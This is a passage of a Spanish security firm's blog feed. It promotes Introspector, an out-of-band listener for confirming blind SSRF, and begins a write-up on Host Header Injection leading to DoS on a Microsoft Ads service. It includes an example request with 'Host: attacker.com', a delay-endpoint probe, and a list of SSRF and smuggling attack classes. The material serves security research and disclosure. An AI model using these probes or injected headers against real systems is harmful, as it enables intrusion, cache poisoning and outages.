             está diseñado para capturar ese “lado invisible” del flujo, registrando redirecciones, reintentos, resoluciones DNS, follow-ups automáticos, y solicitudes encadenadas que pueden ocurrir segundos después y en hosts completamente distintos.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Fue creada por el equipo de research de
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://deepsecurity.pe/" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            DeepSecurity
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            específicamente para ir
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           más allá de Burp Collaborator
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            , permitiendo observar no solo si existe interacción OOB, sino
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           cómo ocurre
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            , qué componente la dispara, qué endpoint exacto la origina y qué cadena de ejecución se activa después (DNS, redirects, retries, fetches secundarios, etc.). En la práctica,
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.introspector.sh/" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            ﻿Introspector
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             ha sido utilizado tanto en proyectos con clientes como en iniciativas de
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           research y bug bounty
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            , sirviendo como base para hallazgos reales y reportes públicos, incluyendo
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Blind SSRF en Microsoft Ads
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            ,
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Host Header Injection + DoS en Microsoft
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            , y vulnerabilidades CVE 2025 - 2026 reportadas responsablemente a plataformas como
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           GlassFish
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            y
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Payara
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
           .
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;span&gt;&#xD;
      
           ¿Por qué usar Introspector en un pentest avanzado?
           &#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h3&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Este tipo de visibilidad es clave para explotar y validar vulnerabilidades modernas como:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            SSRF
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             (incluyendo SSRF ciego y SSRF con pivot a redes internas)
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            Host Header Injection
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             (en especial cuando la app construye URLs absolutas para resets de password, links de verificación, callbacks, etc.)
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            Comportamientos anómalos en balanceadores / proxies
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             (reescritura de Host, X-Forwarded-Host, X-Forwarded-Proto, Forwarded)
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            HTTP Request Smuggling
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             (cuando el front-end y back-end interpretan distinto Content-Length / Transfer-Encoding)
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            Vulnerabilidades HTTP basadas en headers
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             (cache poisoning, routing inconsistencies, internal URL generation, open redirect indirecto)
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
            
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;a href="/"&gt;&#xD;
    &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Introspector_OutOfBand.png" alt="Introspector — Análisis de Comportamiento SSRF" title="Introspector — Analisis de Comportamiento SSRF"/&gt;&#xD;
  &lt;/a&gt;&#xD;
  &lt;span&gt;&#xD;
  &lt;/span&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            La interacción insegura con servicios externos como
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.deepsecurity.pe/blind-ssrf-en-microsoft-ads" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            SSRF
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            (Server-side request forgery) es una vulnerabilidad crítica que puede transformar su servidor de aplicaciones en un
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           proxy de ataque
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
           . Al ser explotado, este tipo de vulnerabilidades permite a los atacantes alcanzar infraestructura interna privada o servicios locales, comprometiendo la integridad de toda la red organizacional.
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Componentes clave:
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            Listeners OOB (DNS + HTTP/HTTPS)
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        
            : capturan callbacks y preservan el contexto (headers, User-Agent, rutas, timing).
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            Hosting controlado:
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             permite servir contenido/respuestas con el Content-Type esperado para observar cómo reacciona el fetcher/worker.
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            Session engine:
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             agrupa y correlaciona interacciones por sesión.
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            Análisis de redirects:
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             registra redirect chains y marca
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            FOLLOW REDIRECT
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
             detected cuando el target visita el redirect.
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Como usar Introspector para detectar un SSRF BLIND (Microsoft)
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Este es un
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.deepsecurity.pe/blind-ssrf-en-microsoft-ads" target="_blank"&gt;&#xD;
      
           SSRF
          &#xD;
    &lt;/a&gt;&#xD;
    &lt;a href="https://www.deepsecurity.pe/blind-ssrf-en-microsoft-ads" target="_blank"&gt;&#xD;
      
           reportado a Microsoft
          &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            en el cual la aplicación no devolvía ninguna señal útil: la respuesta se mantenía constante y no había forma de confirmar el comportamiento solo mirando el response.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;a href="https://www.introspector.sh/" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            Introspecto
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;a href="https://www.introspector.sh/" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            r
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           es justo para estos casos.
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Te da visibilidad del lado "Blind" y te permite identificar el comportamiento del backend. Captura las interacciones OOB y las muestra con contexto (método, headers y timestamps). Y lo más importante te permite controlar el response para validar el comportamiento. Inyectando un payload personalizado en la respuesta HTTP.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/microsoft-b9a6c86c.png" alt=""/&gt;&#xD;
  &lt;span&gt;&#xD;
  &lt;/span&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Para confirmar el comportamiento utilizamos el módulo delayer, usamos un endpoint con delayer
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           (/delayresponse?t=10)
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
           . El backend llego a consumir el recurso y el retraso se aplicó, Además, se observó que el fetcher/worker en este flujo no seguía redirecciones, lo que permite descartar si follow redirect es una alternativa.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/image+%282%29.png" alt=""/&gt;&#xD;
  &lt;span&gt;&#xD;
  &lt;/span&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           INSTALACION RAPIDA
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ol&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            git clone https://github.com/deepsecurity-pe/Introspector.git
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            cd introspector-framework 
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            pip3 install -r requirements.txt
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            sudo python3 Introspector.py --persist session01
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ol&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           RECURSOS
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Si quieres profundizar en SSRF BLIND (tipos, técnicas y payloads), visita nuestro sitio dedicado: ssrf.im.
           &#xD;
      &lt;br/&gt;&#xD;
      
           Además, en nuestro blog publicamos investigaciones y casos reales (incluido el SSRF reportado a Microsoft)
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            SSRF (recursos):
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;a href="https://ssrf.im/" target="_blank"&gt;&#xD;
        
            https://ssrf.im/
           &#xD;
      &lt;/a&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            Blog :
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;strong&gt;&#xD;
        
             
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;a href="https://deepsecurity.pe/blog" target="_blank"&gt;&#xD;
        
            https://deepsecurity.pe/blog
           &#xD;
      &lt;/a&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            Introspector Docs :
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;strong&gt;&#xD;
        
             
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;a href="https://introspector.sh" target="_blank"&gt;&#xD;
        
            https://introspector.sh/
           &#xD;
      &lt;/a&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            GitHub
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            :
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;a href="https://github.com/DeepSecurityResearch/Introspector" target="_blank"&gt;&#xD;
        
            https://github.com/DeepSecurityResearch/Introspector
           &#xD;
      &lt;/a&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            OWASP
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            SSRF
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            :
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;a href="https://owasp.org/Top10/2021/es/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/" target="_blank"&gt;&#xD;
        
            https://owasp.org/Top10/2021/es/A10_2021-Server-Side_Request_Forgery
           &#xD;
      &lt;/a&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            OWASP SSRF Prevention Cheat Sheet :
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;strong&gt;&#xD;
        
             
           &#xD;
      &lt;/strong&gt;&#xD;
      &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html"&gt;&#xD;
        
            https://cheatsheetseries.owasp.org/cheatsheets/SSRF
           &#xD;
      &lt;/a&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;</content:encoded>
      <enclosure url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Introspector_Blog_Social.png" length="1022536" type="image/png" />
      <pubDate>Fri, 20 Feb 2026 12:46:50 GMT</pubDate>
      <guid>https://www.deepsecurity.pe/introspector</guid>
      <g-custom:tags type="string">SPAN</g-custom:tags>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Introspector_Blog_Social.png">
        <media:description>thumbnail</media:description>
      </media:content>
      <media:content medium="image" url="https://irp.cdn-website.com/210ad002/dms3rep/multi/Introspector_Blog_Social.png">
        <media:description>main image</media:description>
      </media:content>
    </item>
    <item>
      <title>Host Header Injection + DoS en Microsoft</title>
      <link>https://www.deepsecurity.pe/dos-via-host-header-injection</link>
      <description />
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Host+Header+Injection+-+Microsoft+Ads.png" alt=""/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           ¿Qué es Host Header Injection?
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           El HTTP Header "Host", es la cabecera encargada de decirle al Web Server, cual es el virtual host que debe resolver al recibir el request de un cliente. El siguiente ejemplo es un uso clásico del header en un request:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           GET
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           /reset
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           HTTP/1.1
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Host
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           :
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           example.com
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           En la práctica, muchos frameworks utilizan el "Host" para hacer redirects, formar urls o enlaces que luego son usados en funciones (password reset, verificación), callbacks OAuth/OIDC, CORS y generación de links públicos.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           El problema de confiar en los Header
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h3&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           El problema con las implementaciones que confían en el Host para realizar alguna función, es que a veces se olvidan que el Host puede ser modificado desde el cliente. Y que ese header muchas veces, hace distintos saltos y puede pasar por un  reverse proxy, load balancer o CDN que luego es reenviado (o normalizado). Una web vulnerable, al usar el valor de forma directa: 
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Un atacante puede inyectar algo como:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           GET
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           /reset-password
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           HTTP/1.1
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Host
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           : attacker.com
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Y obligar a la aplicación a escribir en su front, URLs hacia su dominio como en el ejemplo, pero también, interceptar las rutas de la aplicación o envenenar cachés (cache poisoning). En esencia, ese es el Host Header Injection... cuando una aplicación utiliza el Header Host y el atacante lo modifica antes de ser usado. Esto ocurre más a menudo de lo que parece.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            En este post expongo un caso real de
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Host Header Injection
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            avanzado, encontrado y explotado en Xandr, el servicio B2B de Microsoft Ads. Primero explico como logré un open redirect, y posteriormente como lo convertí en un
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Denial of Service
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           que dejó la aplicación Inaccesible World Wide.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h3&gt;&#xD;
    &lt;strong&gt;&#xD;
      
